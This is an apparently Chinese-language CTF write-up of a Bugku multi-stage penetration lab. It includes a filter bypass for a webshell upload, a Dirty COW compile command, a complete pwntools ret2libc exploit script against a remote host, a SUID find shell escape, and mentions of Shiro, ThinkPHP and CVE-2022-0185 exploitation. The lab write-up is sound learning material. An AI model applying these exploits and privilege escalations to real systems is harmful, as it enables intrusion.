看到bugku出的新模式,玩了一下。
0x00 场景1
查看源代码找到flag1。
0x01 场景2
输入/admin找到了后台地址,输入admin/admin成功进入后台。
在后台成功找到了flag2:

0x02 场景3
在基本设置→上传配置,上传后缀中,添加php,然后保存。
然后网站就不能访问了,,呜呜呜呜呜呜我滴20金币。。
重启了一下环境,继续把php后缀添加进去。然后内容管理→模型管理→添加模型→上传图标→上传🐎。
根据回显的错误提示<上传文件后缀不能为空>可以判断它把php这个后缀过滤掉了,双写该后缀名绕过即可。

在/home下找到了flag3。
0x03 场景4
需要提权 上传个🐎转移到msf,使用les.sh,提示可能存在脏牛提权漏洞:

于是我尝试上传脏牛的exp:戳我,然后编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
把编译好的dcow放在/tmp目录下去执行,但是提权失败了。
去翻了一下网站的数据库配置文件,路径/var/www/html/app/database.php,意外之喜:
<?php
return [
'type' => 'mysql',
'hostname' => '127.0.0.1',
'database' => 'myu',
'username' => 'root',
'password' => 'root',
'hostport' => '3306',
'prefix' => 'my_',
];
找到flag4:

0x04 场景5
把/home/ctf下的main文件拉出来分析,ret2libc。exp:
from pwn import *
elf = ELF('./main')
local = 0
if local == 1:
io = process('./main')
else:
io = remote('101.132.195.152',9999)
io.recvuntil("name:\n")
payload = 'a'*(0x24)+p32(0xdeadbeef)+p32(elf.symbols['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['__libc_start_main'])+p32(8)
io.send(payload)
libc_start_main_addr = u32(io.recv(4))
print(hex(libc_start_main_addr))
libcbase = libc_start_main_addr - 0x018190
system_addr = libcbase + 0x03a850
binsh = libcbase + 0x15d7c8
payload2 = 'a'*(0x24)+p32(0xdeadbeef)+p32(system_addr)+p32(elf.symbols['main'])+p32(binsh)
io.recvuntil("name:\n")
io.send(payload2)
io.interactive()

0x05 场景6
根据提示,访问8080。随手打了一个robots.txt,出现flag。
#
# robots.txt for shiro
# flag{5e6bf26ea9968305a07aa372a3e1147c} PS:next to my home
#
User-agent: *
Disallow:
0x06 场景7
根据提示shiro联想到shiro的rce漏洞。

0x07 场景8
挪到msf🐎上,提权,找到正在系统上运行的所有SUID可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
发现以root权限运行着find,利用find可以提权。
find . -exec /bin/sh -p \; -quit

0x08 场景9
根据提交flag处的提示<看看内网?>,用frp进行内穿。
其中192.168.0.4存在一个网站,有thinkphp 5.0.23的rce,一把梭,在/html目录下找到了flag。

0x09 场景10
提示看看数据库,在/var/www/html/application/database.php找到了数据库配置文件:
// 数据库名
'database' => 'aman',
// 用户名
'username' => 'aman',
// 密码
'password' => 'aman123',
使用该用户名密码连接mysql,在flag库下得到flag。

0x0A 场景11
使用msf反弹shell,用CVE-2022-0185成功进行了提权,在root目录下发现了flag。
